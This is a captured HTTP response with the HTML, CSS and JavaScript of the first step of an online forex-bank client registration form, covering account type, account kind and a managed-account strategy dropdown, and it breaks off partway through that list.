Transfer-Encoding: chunked
Content-Type: text/html; charset=windows-1252



<html lang="en">
<head>
<title>Client Registration</title>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<script>
function init() {
fFillForm();
}

var bShowWaiting = true;

function showWaiting() {
if(bShowWaiting) {
for (odj in document.body.childNodes)
try {
document.body.childNodes[odj].style.display = 'none';
}catch(e){}

oProgressDiv = document.createElement('div');
document.body.appendChild(oProgressDiv);
oProgressDiv.align = 'center';
oProgressDiv.innerHTML = "<br/><br/><br/><br/><br/><br/><br/>Please, wait<br/>";

tmp = document.getElementById('progress_img')
oProgressImg = tmp.cloneNode(false);
oProgressImg.style.display = 'block';
oProgressDiv.appendChild(oProgressImg);
bShowWaiting = false;
}
}

function addEventHandler(obj, type, func, useCapture) {
if (obj.addEventListener) {
obj.addEventListener(type, func, useCapture);
return true;
}
else if (obj.attachEvent) {
var r = obj.attachEvent('on' + type, func);
return r;
}
else {
obj['on' + type] = func;
}
}

tipIndex = 0;
function drawTip (sTip, width) {
this.hideDelay = 600;
this.sTip = sTip;
this.hideTimeoutId = null;
var oThis = this;

this.show = function (event) {
var oEvent = (event || window.event);
if (oThis.hideTimeoutId) {
window.clearTimeout(oThis.hideTimeoutId);
return;
} else if (oThis.oTipContainer.style.display == "block") {
return;
}
aSelects = document.getElementsByTagName('SELECT');
for (i=0; i < aSelects.length; i++) {
aSelects[i].style.visibility = 'hidden';
}
oThis.oTipContainer.style.top = oEvent.clientY - oThis.oTipContainer.offsetHeight - 2;
oThis.oTipContainer.style.left = oEvent.clientX + 3;
oThis.oTipContainer.style.display = "block";
}

this.hide = function () {
oThis.hideTimeoutId = null;
oThis.oTipContainer.style.display = "none";
aSelects = document.getElementsByTagName('SELECT');
for (i=0; i < aSelects.length; i++) {
aSelects[i].style.visibility = '';
}
}

this.hideTimeouted = function () {
oThis.hideTimeoutId = window.setTimeout(oThis.hide, oThis.hideDelay);
}

document.write('<img src="../../images/icons/16x16/tip.png" align="absmiddle" height="16" width="16" border="0" id="tipImg' + tipIndex + '"/>');
document.write('<div class="tip" style="display:none;" id="tipContainer' + tipIndex + '">' + sTip + '</div>');

this.oTipImg = document.getElementById('tipImg' + tipIndex);
this.oTipContainer = document.getElementById('tipContainer' + tipIndex);
if (typeof(width) != 'undefined')
this.oTipContainer.style.width = width;
addEventHandler(this.oTipImg, 'mouseover', this.show);
addEventHandler(this.oTipContainer, 'mouseover', this.show);
addEventHandler(this.oTipImg, 'mouseout', this.hideTimeouted);
addEventHandler(this.oTipContainer, 'mouseout', this.hideTimeouted);
tipIndex++;
}
</script>
<!--<script src="js/lib.js"></script>
<script src="js/checkForm.js"></script>-->
<style>
body, td, span, div, p, tr, th, option, font, button, input, select, textarea, b, i, a {
font-size:8pt;
font-family:Verdana;
}
table {
table-layout:fixed;
}
a {
font-weight:bold;
text-decoration:underline;
color:black;
}

a:hover {
color:#666666;
}

.header {
font-size:11pt;
height:24px;
color:#FFFFFF;
font-weight:bold;
text-align:center;
background-image: url('https://www.dukascopy.com/swiss/inc/images/headline_bg_menu.gif');
background-color:#000;
background-position:0px 0px;
background-repeat:repeat-x;
}

.header a {
color:#FFFFFF;
font-weight:bold;
text-decoration:none;
}

.header a:hover {
color:#FFFFFF;
text-decoration:underline;
}

.subheader {
font-size:10pt;
color:#333333;
font-weight:bold;
text-align:center;
padding:5 0 0 0;
}

.subheader * {
font-size:10pt;
font-weight:bold;
}

.step {
font-size:10pt;
color:#999999;
font-weight:bold;
text-align:center;
padding:5 0 5 0;
}
.error {
font-size:10pt;
color:#EE0000;
text-align:center;
padding:5 0 5 0;
font-weight:bold;
}
.title {
text-align:right;
width:50%;
padding:2 2 2 2;
color:#1D4470;
}
.field {
text-align:left;
width:50%;
padding:2 22 2 2;
}
.buttons {
text-align:center;
padding:4 4 4 4;
}
.button {
color:white;
border:1px outset;
cursor:pointer;
background-color:#1D4470;
width:100px;
font-weight:bold;
height:13pt;
}
.info {
text-align:center;
padding-left:22;
padding-right:22;
}
input.text {
width:100%;
border-top:1px solid #cccccc;
border-right:1px solid #cccccc;
border-bottom:1px solid #cccccc;
border-left:1px solid #cccccc;
}
input.checkbox {

}
textarea {
width:100%;
border:1px solid #cccccc;
font-size:8pt !important;
font-weight:normal !important;
}
select {
border:1px solid #cccccc;
}

.tip {
position:absolute;
border: 1px solid #333333;
background-color: #FFFFE1;
width: 250px;
padding: 7px;
text-align: justify;
z-index:100;
}

</style>
</head>
<body onLoad="init();" onBeforeUnload="showWaiting();" style="margin:0px;padding:0px;">
<div style="background:url('https://www.dukascopy.com/pics/topBackground.png') repeat-x;"><img src="https://www.dukascopy.com/pics/headers/website_logo_bank.jpg" alt="Dukascopy" style="width:579px;height:103px;border:none;"></div>
<table width="100%" align="center" border="0" cellpadding="0" cellspacing="0">
<form style="margin:0px;padding:0px;" name="mainForm" action="/fo/register/live/index.php" method="post">
<tr>
<td colspan="2" class="header">
Client Registration
</td>
</tr>
<tr>
<td colspan="2" class="step">
Step 1 of 6-12
</td>
</tr>
<tr>
<td colspan="2">
<div class="error" id=topError>
<div>
</td>
</tr>
<tr>
<td class="title" valign="top">
Date:
</td>
<td class="field" valign="top">
Thu, 17 Mar 2011 </td>
</tr>
<tr>
<td class="title" valign="top">
Status:
</td>
<script>
function radioClickControll() {
var retAcc = document.getElementById('radio_accountKind_6');
var stAcc = document.getElementById('radio_accountKind_7');
var rInd = document.getElementById('radio_type_1');
var rJoint = document.getElementById('radio_type_3');
var rLegal = document.getElementById('radio_type_2');

if(retAcc.checked) {
rLegal.disabled = true;
}
if(stAcc.checked) {
rLegal.disabled = false;
}

if(rLegal.checked) {
retAcc.disabled = true;
}
if(rInd.checked || rJoint.checked) {
retAcc.disabled = false;
}


}
</script>
<td class="field" valign="top">
<input type="hidden" name="aData[STRAT_REF]" value="-1">
<input type="hidden" name="aData[FEEDBACK_URL]" value="-1">
<input type="radio" name="aData[TYPE]" id="radio_type_1" value="1" checked onclick="radioClickControll()"> <label for="radio_type_1">For Individuals</label><br/>
<input type="radio" name="aData[TYPE]" id="radio_type_3" value="3" onclick="radioClickControll()"> <label for="radio_type_3">For Joint Account</label><br/>
<input type="radio" name="aData[TYPE]" id="radio_type_2" value="2" onclick="radioClickControll()"> <label for="radio_type_2">For Legal Entities</label>
</td>
</tr>
<tr>
<td class="title" valign="top">
Kind of account:
</td>
<td class="field" valign="top">
<script>
function fSetManagedAccountStrategyMode(bShown) {
oInp = document.getElementById('sel_managedAccountStrategy');
oInp.disabled = !bShown;
oInp.style.display = (bShown?"":"none");
if(bShown) {
document.getElementById('servProvider0').checked = false;
}
}

function fSetServProviderMode(bShown) {
oInp = document.getElementById('sel_servProvider');
oInp.disabled = !bShown;
oInp.style.display = (bShown?"":"none");
if(bShown) {
document.getElementById('extManContact0').checked = false;
}
}
</script>
<table border="0" cellpadding="1" cellspacing="0" style="table-layout:auto;">
<tr>
<td>
<input type="radio" name="aData[accountKind]" value="" style=display:none checked>
<input type="radio" name="aData[accountKind]" value="6" id="radio_accountKind_6" onClick="radioClickControll();fSetServProviderMode(false);fSetManagedAccountStrategyMode(false);">
</td>
<td>
<label for="radio_accountKind_6">Retail Account</label>
</td>
</tr>

<tr>
<td>
<input type="radio" name="aData[accountKind]" value="7" id="radio_accountKind_7" onClick="radioClickControll();fSetServProviderMode(false);fSetManagedAccountStrategyMode(false);">
</td>
<td>
<label for="radio_accountKind_7">Standard Account (from 50 000 USD)</label>
</td>
</tr>

<tr>
<td>
<input type="radio" name="aData[accountKind]" value="100" id="radio_accountKind_100" onClick="fSetServProviderMode(false);fSetManagedAccountStrategyMode(true);">
</td>
<td>
<label for="radio_accountKind_100">Managed Account</label>
</td>
</tr>
<tr>
<td></td>
<td valign="top" id="sel_managedAccountStrategy" style="display:none;" disabled>

<b>Whilst selecting your Manager/Attorney and for convenience purposes only you may use the pull-down menu. Dukascopy has not performed any competence verification or due diligence, does not issue any recommendation concerning your Manager/Attorney and can not be held liable for any losses, direct and indirect damages whether financial or not, resulting from your Manager/Attorney&#039;s acts or omissions.</b><br>
<select name="aData[managedAccountStrategy]" id="sel_mas">
<option value='1ABEM3' >&nbsp;1ABEM3</option><option value='356JFH1' >&nbsp;356JFH1</option><option value='356JFH2' >&nbsp;356JFH2</option><option value='356JFH3' >&nbsp;356JFH3</option><option value='356JFH4' >&nbsp;356JFH4</option><option value='356JFH5' >&nbsp;356JFH5</option><option value='3SFX1' >&nbsp;3SFX1</option><option value='3SFX2' >&nbsp;3SFX2</option><option value='45GHKLBV' >&nbsp;45GHKLBV</option><option value='AADB88' >&nbsp;AADB88</option><option value='ABBB22' >&nbsp;ABBB22</option><option value='ABEF73' >&nbsp;ABEF73</option><option value='AEAC86' >&nbsp;AEAC86</option><option value='AECC31' >&nbsp;AECC31</option><option value='ALPX' >&nbsp;ALPX</option><option value='ALTV' >&nbsp;ALTV</option><option value='ARCH' >&nbsp;ARCH</option><option value='ARXX' >&nbsp;ARXX</option><option value='AZAT681' >&nbsp;AZAT681</option><option value='Augustan' >&nbsp;Augustan</option><option value='BABC92' >&nbsp;BABC92</option><option value='BADF84' >&nbsp;BADF84</option><option value='BAYWM' >&nbsp;BAYWM</option><option value='BCAD67' >&nbsp;BCAD67</option><option value='BCBC72' >&nbsp;BCBC72</option><option value='BCCA82' >&nbsp;BCCA82</option><option value='BCEE55' >&nbsp;BCEE55</option><option value='BDAD35' >&nbsp;BDAD35</option><option value='BDCC70' >&nbsp;BDCC70</option><option value='BDCP' >&nbsp;BDCP</option><option value='BEAD70' >&nbsp;BEAD70</option><option value='BEAF55' >&nbsp;BEAF55</option><option value='BECF19' >&nbsp;BECF19</option><option value='BEDD59' >&nbsp;BEDD59</option><option value='BEEE43' >&nbsp;BEEE43</option><option value='BRKIC' >&nbsp;BRKIC</option><option value='BUSH' >&nbsp;BUSH</option><option value='BUSH288' >&nbsp;BUSH288</option><option value='CBFB47' >&nbsp;CBFB47</option><option value='CCDE32' >&nbsp;CCDE32</option><option value='CCPFX' >&nbsp;CCPFX</option><option value='CDCD88' >&nbsp;CDCD88</option><option value='CDFD34' >&nbsp;CDFD34</option><option value='CEDD62' >&nbsp;CEDD62</option><option value='CEFA67' >&nbsp;CEFA67</option><option value='CEFF58' >&nbsp;CEFF58</option><option value='CFEC46' >&nbsp;CFEC46</option><option value='CFFX' >&nbsp;CFFX</option><option value='CGFX' >&nbsp;CGFX</option><option value='CHBC' >&nbsp;CHBC</option><option value='CLMFX' >&nbsp;CLMFX</option><option value='CurrClub' >&nbsp;CurrClub</option><option value='DADD65' >&nbsp;DADD65</option><option value='DBAA26' >&nbsp;DBAA26</option><option value='DBAF77' >&nbsp;DBAF77</option><option value='DBFB93' >&nbsp;DBFB93</option><option value='DCCD84' >&nbsp;DCCD84</option><option value='DCEC93' >&nbsp;DCEC93</option><option value='DDBF26' >&nbsp;DDBF26</option><option value='DDCC49' >&nbsp;DDCC49</option><option value='DDDB32' >&nbsp;DDDB32</option><option value='DEFD33' >&nbsp;DEFD33</option><option value='DF56NB' >&nbsp;DF56NB</option><option value='DF794J0' >&nbsp;DF794J0</option><option value='DFAF50' >&nbsp;DFAF50</option><option value='DG785' >&nbsp;DG785</option><option value='DOXX' >&nbsp;DOXX</option><option value='DRFX1' >&nbsp;DRFX1</option><option value='DSBP' >&nbsp;DSBP</option><option value='EACE93' >&nbsp;EACE93</option><option value='EADA74' >&nbsp;EADA74</option><option value='EAEE21' >&nbsp;EAEE21</option><option value='EAFD36' >&nbsp;EAFD36</option><option value='EBAD44' >&nbsp;EBAD44</option><option value='EBBB34' >&nbsp;EBBB34</option><option value='EBDE90' >&nbsp;EBDE90</option><option value='ECURRENTZ' >&nbsp;ECURRENTZ</option><option value='EDCC46' >&nbsp;EDCC46</option><option value='EFAF70' >&nbsp;EFAF70</option><option value='EFBB17' >&nbsp;EFBB17</option><option value='EFCA50' >&nbsp;EFCA50</option><option value='EFCA92' >&nbsp;EFCA92</option><option value='FAAC62' >&nbsp;FAAC62</option><option value='FBDB80' >&nbsp;FBDB80</option><option value='FBDF30' >&nbsp;FBDF30</option><option value='FBED79' >&nbsp;FBED79</option><option value='FBFA65' >&nbsp;FBFA65</option><option value='FCCA80' >&nbsp;FCCA80</option><op..